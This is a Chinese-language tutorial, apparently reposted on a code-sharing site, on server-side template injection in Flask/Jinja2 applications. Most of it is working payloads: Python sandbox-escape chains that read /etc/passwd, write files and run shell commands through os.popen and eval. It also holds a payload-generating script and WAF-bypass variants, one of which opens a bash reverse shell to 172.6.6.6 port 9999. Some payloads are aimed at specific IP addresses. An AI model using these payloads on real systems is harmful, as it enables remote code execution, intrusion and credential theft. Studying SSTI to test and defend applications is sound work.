python-flask-ssti(模版注入漏洞)


SSTI(Server-Side Template Injection) 服務端模板注入
,就是服務器模板中拼接了惡意用戶輸入導致各種漏洞。通過模板,Web應用可以把輸入轉換成特定的HTML文件或者email格式

輸出無過濾就注定會存在xss,當然還有更多深層次的漏洞。

前置知識

1.運行一個一個最小的 Flask 應用
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0')
2.jinja2

 jinja2是Flask作者開發的一個模板系統,起初是仿django模板的一個模板引擎,為Flask提供模板支持,由於其靈活,快速和安全等優點被廣泛使用。

在jinja2中,存在三種語:

控制結構 {% %}
變量取值 {{ }}
注釋 {# #}

jinja2模板中使用 {{ }} 語法表示一個變量,它是一種特殊的占位符。當利用jinja2進行渲染的時候,它會把這些特殊的占位符進行填充/替換,jinja2支持python中所有的Python數據類型比如列表、字段、對象等

inja2中的過濾器可以理解為是jinja2里面的內置函數和字符串處理函數。

被兩個括號包裹的內容會輸出其表達式的值

1.ssti漏洞的檢測

發送類似下面的payload,不同模板語法有一些差異

smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49

檢測到模板注入漏洞后,需要准確識別模板引擎的類型。神器Burpsuite 自帶檢測功能,並對不同模板接受的 payload 做了一個分類,並以此快速判斷模板引擎:

2.漏洞利用

1.payload原理

Jinja2 模板中可以訪問一些 Python 內置變量,如[] {} 等,並且能夠使用 Python 變量類型中的一些函數這里其實就引出了python沙盒逃逸

1.1 python沙盒逃逸-python2

python的內斂函數真是強大,可以調用一切函數做自己想做的事情

__builtins__
__import__

在python的object類中集成了很多的基礎函數,我們想要調用的時候也是需要用object去操作的,這是兩種創建object的方法

Python中一些常見的特殊方法:

__class__返回調用的參數類型。
__base__返回基類
__mro__允許我們在當前Python環境下追溯繼承樹
__subclasses__()返回子類

現在我們的思路就是從一個內置變量調用__class__.base__等隱藏屬性,去找到一個函數,然后調用其__globals['builtins']即可調用eval等執行任意代碼。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以這里直接調用引用的模塊
>>> ''.__class__.__base__.__subclasses__()
# 返回子類的列表 [,,,...]

#從中隨便選一個類,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指這些函數並沒有被重載,這時他們並不是function,不具有__globals__屬性

#再換幾個子類,很快就能找到一個重載過__init__的類,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval執行命令即可

安全研究員給出的幾個常見Payload

python2

文件讀取和寫入

#讀文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#寫文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意執行

每次執行都要先寫然后編譯執行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

寫入一次即可

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}    

不回顯的

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

任意執行只需要一條指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(這條指令可以注入,但是如果直接進入python2打這個poc,會報錯,用下面這個就不會,可能是python啟動會加載了某些模塊)  
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函數換為popen('').read(),需要導入os模塊)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要導入os模塊,直接從別的模塊調用)
總結:
通過某種類型(字符串:"",list:[],int:1)開始引出,__class__找到當前類,__mro__或者__base__找到__object__,前邊的語句構造都是要找這個。然后利用object找到能利用的類。還有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}這種的,能執行,但是不會回顯。一般來說,python2的話用file就行,python3則沒有這個屬性。 
python3

因為python3沒有file了,所以用的是open

#文件讀取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

執行命令

#任意執行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

#命令執行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

尋找function的過程可以用一個小腳本解決, 腳本找到被重載過的function,然后組成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

output

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}

隨便選一個替換我們之前的Payload,會發現成功執行

http://192.168.228.36/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}

waf繞過

甩幾個test payload
有時候看不到回顯。可以在源代碼里看到回顯

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

參考連接:

淺析ssti

flask ssti原理

flask中文文檔

jinja2學習

python2與python3

ssti


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM